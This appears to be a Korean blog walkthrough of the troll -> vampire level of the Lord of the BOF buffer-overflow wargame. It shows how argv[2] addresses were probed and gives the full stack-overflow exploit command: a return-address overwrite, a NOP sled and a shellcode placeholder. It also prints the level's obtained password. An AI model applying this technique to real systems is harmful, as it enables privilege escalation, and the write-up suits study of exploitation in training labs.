-->

[LOB] level9, troll -> vampire 풀이

반응형

LOB, troll -> vampire 문제확인

환경변수나 버퍼 초기화 부분이 사라진 대신에 argv[1]에 대한 조건이 추가되었다. 47번째 바이트가 \xff 이면 안되는 조건인데 여태까지 리턴 주소에 bfffXXXX 주소 영역대를 덮었었는데 이 영역대를 쓰지 못하게 되었다. 대신 argv[2]을 쓰지 못하게 argc == 2 조건이 있었던 이전 문제와 다르게 argv[2]를 쓸 수 있게 되었기 때문에 이번 문제는 argv[2]에 쉘코드를 올리는 방식으로 진행하려 한다.

 

 

 

LOB, troll -> vampire 풀이

먼저 gdb로 계속 주소값을 확인하는게 번거로워서 argv[2] 주소를 출력하게끔 재컴파일을 진행했다.

 

 

 

그리고 argv[2]에 B값을 1000, 10000, 100000 까지 넣어보면서 argv[2] 주소를 확인했는데 100000개 정도에서 주소 영역이 0xbffe 영역대임이 확인되었다.

 


[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*1000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbffff875
Segmentation fault (core dumped)
[troll@localhost troll]$ 
[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*10000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbfffd54d
Segmentation fault (core dumped)
[troll@localhost troll]$ /tmp/vampire `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100000'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿
0xbffe75bd
Segmentation fault (core dumped)

 

 

 

LOB, troll -> vampire 익스플로잇

따라서 위에서 확인한 0xbffe75bd를 리턴주소에 덮고 argv[2]에는 B 대신 nop을 100000개를 준 후 뒤에 쉘코드를 주었다.

 


[troll@localhost troll]$ ./vampire `python -c 'print "A"*44+"\xbd\x75\xfe\xbf"'` `python -c 'print "\x90"*100000+"\x90"*5000+"[shellocde]"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA½uþ¿
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

 

 

댓글

Designed by JB FACTORY